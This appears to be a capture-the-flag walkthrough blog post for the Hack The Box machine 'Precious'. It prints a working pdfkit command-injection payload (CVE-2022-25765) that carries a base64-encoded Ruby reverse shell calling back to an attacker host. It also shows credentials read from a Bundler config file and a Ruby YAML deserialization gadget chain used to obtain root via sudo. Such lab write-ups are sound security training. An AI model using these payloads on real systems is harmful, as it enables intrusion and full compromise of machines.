Hack The Box Intro to Red Team Track

Hack The Box: Precious Walkthrough

Author
Dulanjana Fernando
Sep 19, 2026  •  7 min read  •  212 views
Hack The Box: Precious Walkthrough

Precious is an Easy difficulty HackTheBox machine that features a web service designed to convert web pages into PDF files. Initial access is gained by exploiting a command injection vulnerability in the underlying pdfkit utility to obtain a low-privileged shell as user ruby. Lateral movement to user henry is accomplished by retrieving plaintext credentials stored in a local Bundler configuration file. Privilege escalation to root is achieved by abusing a sudo script that insecurely parses a local dependencies.yml file using Ruby's unsafe YAML.load method, enabling execution of a deserialization gadget chain to spawn an administrative shell.

1. Initial Enumeration and Service Discovery

1.1 Port Scanning

As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine. I used nmap -sC -sV -O precious.htb -oN nmap_scan to scan the open ports and services.

nmap -sC -sV -O precious.htb -oN nmap_scan
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-18 07:39 -0400
Nmap scan report for precious.htb (10.129.9.53)
Host is up (0.49s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open  http    nginx 1.18.0
| http-server-header: 
|   nginx/1.18.0
|_  nginx/1.18.0 + Phusion Passenger(R) 6.0.15
|_http-title: Convert Web Page to PDF
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.62 seconds

Based on the scan results: - Port 22 is running OpenSSH 8.4p1. - Port 80 is running a website on Nginx 1.18.0.

1.2 Web Service Profiling

The website only had a form that accepted a URL input and downloaded a PDF file created using the HTML content of the URL destination. To test this out, I created a simple HTML file and hosted it using a simple Python server by running python -m http.server.

# HTML File Content
< html>
< body>
< h1>Hello World
< /body>
< /html>
Article Image
Precious Machine Website

I successfully submitted the URL, and it downloaded a PDF file.

Article Image
Downloaded PDF file

1.3 Metadata Analysis

I decided to check the metadata of the downloaded PDF because PDFs usually include metadata that reveals the PDF version, the application used to create it, etc.

exiftool vj9xuspssj5uroilljpdjco2n6k6ywh7.pdf
ExifTool Version Number         : 13.55
File Name                       : vj9xuspssj5uroilljpdjco2n6k6ywh7.pdf
Directory                       : .
File Size                       : 10 kB
File Modification Date/Time     : 2026:09:18 07:52:03-04:00
File Access Date/Time           : 2026:09:18 07:52:09-04:00
File Inode Change Date/Time     : 2026:09:18 07:52:03-04:00
File Permissions                : -rw-rw-r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

Based on the results I gathered, the PDF version is 1.4, and it was created using PdfKit version 0.8.6.

2. Initial Access - pdfkit Command Injection (CVE-2022-25765)

Google search revealed that the PDFKit version 0.8.6 is vulnerable to CVE-2022-25765.

2.1 Vulnerability Analysis

CVE-2022-25765 is a critical Remote Code Injection(RCE) vulnerability via command injection. PDFKit library version 0.8.6 uses unsafe shell string interpolation when passing user-supplied URLs or query parameters into the underlying wkhtmltopdf command-line utility without proper sanitisation or escaping.

I was able to find the exploit on ExploitDB: pdfkit v0.8.7.2 - Command Injection and a working POC on GitHub CVE-2022-25765 - pdfkit.

2.2 Exploitation & Foothold

Executing the POC, I was able to create a malicious URL payload that will get me a reverse shell connection to the target machine.

python3 CVE-2022-25765.py --url http://precious.htb --lhost 10.10.16.36 --lport 4444
██╗███╗   ██╗███╗   ██╗ ██████╗  ██████╗███████╗███╗   ██╗████████╗
██║████╗  ██║████╗  ██║██╔═══██╗██╔════╝██╔════╝████╗  ██║╚══██╔══╝
██║██╔██╗ ██║██╔██╗ ██║██║   ██║██║     █████╗  ██╔██╗ ██║   ██║
██║██║╚██╗██║██║╚██╗██║██║   ██║██║     ██╔══╝  ██║╚██╗██║   ██║
██║██║ ╚████║██║ ╚████║╚██████╔╝╚██████╗███████╗██║ ╚████║   ██║
╚═╝╚═╝  ╚═══╝╚═╝  ╚═══╝ ╚═════╝  ╚═════╝╚══════╝╚═╝  ╚═══╝   ╚═╝

                CVE-2022-25765 | pdfkit v0.8.6

                        By INNOCENTx0


════════════════════════════════════════════════════════════                       
  [*] PAYLOAD GENERATION         
════════════════════════════════════════════════════════════                       
  [+] Ruby payload initialized                                                        
      ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.16.36",4444))'                                                        
  [~] Encoding payload → UTF-8  
  [+] UTF-8 encoding complete                                                                                   
      b'ruby -rsocket -e\'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.16.36",4444))\' '                                                       
  [~] Encoding bytes → Base64   
  [+] Base64 encoding complete                                                                               cnVieSAtcnNvY2tldCAtZSdzcGF3bigic2giLFs6aW4sOm91dCw6ZXJyXT0+VENQU29ja2V0Lm5ldygiMTAuMTAuMTYuMzYiLDQ0NDQpKScg                                                                                
────────────────────────────────────────────────────────────                       [+] PAYLOAD STATUS: READY  
────────────────────────────────────────────────────────────                                                  
  [!] FINAL PAYLOAD                                                                                     
      http://%20`echo cnVieSAtcnNvY2tldCAtZSdzcGF3bigic2giLFs6aW4sOm91dCw6ZXJyXT0+VENQU29ja2V0Lm5ldygiMTAuMTAuMTYuMzYiLDQ0NDQpKScg | base64 -d | bash`        

═════════════════════════════════════════                                                                    
  [+] TARGET ONLINE     
  [>] Connection established: http://precious.htb                                                         
════════════════════════════════════════════════════════════                         [!] EXPLOITATION SEQUENCE INITIATED                                                                    
  [>] Target: http://precious.htb                                                                        
  [>] Sending crafted request...                                                    [+] EXPLOITATION SUCCESSFUL                                                                            
  [+] Server accepted the request 

After setting up a listener, I submitted the FINAL PAYLOAD through the form and received a reverse shell connection as user ruby.

nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.16.36] from (UNKNOWN) [10.129.9.53] 49520
whoami
ruby

3. Internal Enumeration & Lateral Movement

Local enumeration of the target machine revealed that there are two users: ruby and henry. The current user ruby does not have permission to read the user flag from henry home directory.

Looking through the hidden directories in ruby home directory, I found hardcoded credentials for henry in /home/ruby/.bundle/config.

ruby@precious:~/.bundle$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
ruby@precious:~/.bundle$

Using these credentials, I was able to log in as henry into the target machine via SSH and retrieve the user flag from the home directory.

ssh henry@precious.htb
The authenticity of host 'precious.htb (10.129.9.53)' can't be established.

henry@precious.htb's password: 
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
henry@precious:~$ whoami
henry
henry@precious:~$ cat user.txt 

4. Privilege Escalation - Insecure YAML Deserialization

4.1 Sudo Audit

By running sudo -l, I discovered that henry is permitted to run one command with sudo privileges without a password.

henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

4.2 Code & Vulnerability Analysis

By inspecting the /opt/update_dependencies.rb file, I noticed that it is reading a file named dependencies.yml. But there is no dependencies.yml in the directory, and henry does not have write permission to the /opt directory.

henry@precious:~$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end
henry@precious:~$

The Ruby code uses the YAML.load() method to load the dependencies.yml file. In Ruby, using YAML.load() function is dangerous because it does not parse text data into hashes or arrays. It can construct live Ruby objects.

When an application calls YAML.load on an untrusted file, an attacker can craft a payload containing special YAML tags (like !ruby/object) that force Ruby to instantiate specific, dangerous objects. When Ruby instantiates or cleans up these objects, it accidentally triggers a chain of method calls (known as a "gadget chain") that executes arbitrary system commands.

4.3 Gadget Chain Execution

Even though henry do not have write permission to the /opt directory, the script is using the relative path to look for dependencies.yml.
This means it will look for the dependencies.yml file in the directory I am running the command from.

# Relative and Absolute Path
YAML.load(File.read("dependencies.yml"))       // This uses the relative path. 
                                               // The script will look for the file in the directory where the command is executed.

YAML.load(File.read("/opt/dependencies.yml"))  // This uses the absolute path
                                               // The script will look for the file only in /opt directory

I was able to find a POC payload here.
After creating a mallicious dependencies.yml file in the home directory of henry, I changed git_set: id to git_set: "/bin/bash".

# dependencies.yml content
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "/bin/bash"
         method_id: :resolve

4.4 Root Shell Acquisition

After running the command with sudo privileges, I was able to escalate privileges as root and retrieve the root flag.

sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
        33: from /opt/update_dependencies.rb:17:in `< main>'
        32: from /opt/update_dependencies.rb:10:in `list_from_file'
        31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
        30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
        29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
        25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
        21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
        20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
        19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
        18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
        14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
        13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
        12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
        11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
        10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
         9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
         8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
         7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
         6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
         5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
         3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
         2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
henry@precious:~$ nano dependencies.yml
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
root@precious:/home/henry# whoami
root
root@precious:/home/henry# cat /root/root.txt

Congrats! We found both flags!

HTB Machine Completion

Tags:
Intro to Red Team Track pdfkit YAML Deserialization CVE-2022-25765

You Might Also Like

View all articles
Hack The Box: FriendZone Walkthrough
Hack The Box Easy LFI CREST CRT
Hack The Box: FriendZone Walkthrough

The FriendZone HackTheBox machine focuses on service enumeration, exploiting DNS misconfigurations, Local File Inclusion (LFI), and privilege escalation through Python library hijacking. Initial reconnaissance identifies exposed SMB shares allowing anonymous access, leading to the recovery of hardcoded administrative credentials. DNS zone transfer (AXFR) enumeration against port 53 reveals internal subdomains, including an administrative portal and a file upload host. Authenticating to the admin portal exposes an LFI vulnerability via the pagename URL parameter. By uploading a PHP reverse shell to the writable Development SMB share, LFI is leveraged to execute the payload and obtain initial shell access as www-data. Lateral movement to user friend is achieved by discovering plaintext MySQL credentials stored in a file and reusing them via SSH. Privilege escalation to root relies on monitoring background processes with pspy, which exposes a scheduled cron job running as root. Auditing local file permissions reveals that the system's core library is world-writable. Appending a reverse shell payload to os.py triggers execution when reporter.py imports the hijacked module, yielding full root access.

Nov 03, 2026  ·  8 views Read
Hack The Box: Active Walkthrough
Hack The Box Easy Windows SMB Enumeration
Hack The Box: Active Walkthrough

Active is an easy-difficulty HackTheBox Windows machine. Initial SMB enumeration reveals unauthenticated read access to the Replication share, enabling recursive extraction of Group Policy Preference files. Decrypting the embedded AES-256 cpassword attribute using gpp-decrypt recovers valid domain credentials for SVC_TGS. Authenticating as SVC_TGS provides read access to the Users share to retrieve the user flag. Subsequent Active Directory enumeration via impacket-GetUserSPNs uncovers a Kerberoastable Service Principal Name assigned directly to the domain Administrator account. Requesting the TGS ticket and cracking the Kerberos 5 etype 23 hash offline using Hashcat yields the domain administrator password, granting full administrative compromise to recover root.txt.

Oct 28, 2026  ·  49 views Read
Hack The Box: DutyBound Walkthrough
Hack The Box Medium Special Season: Aero Season 12
Hack The Box: DutyBound Walkthrough

DutyBound is a Medium difficulty HackTheBox machine that is part of Season 12.

Oct 25, 2026  ·  250 views Read

Stay Curious. Stay Secure.

Get new articles, security research, practical tutorials, and technical insights delivered to your inbox. No spam, just useful content.

  • New walkthroughs and lab notes as they publish
  • Tools and commands worth keeping
  • No spam. Unsubscribe in one click.
No fluff, we respect your email. See the Privacy Policy.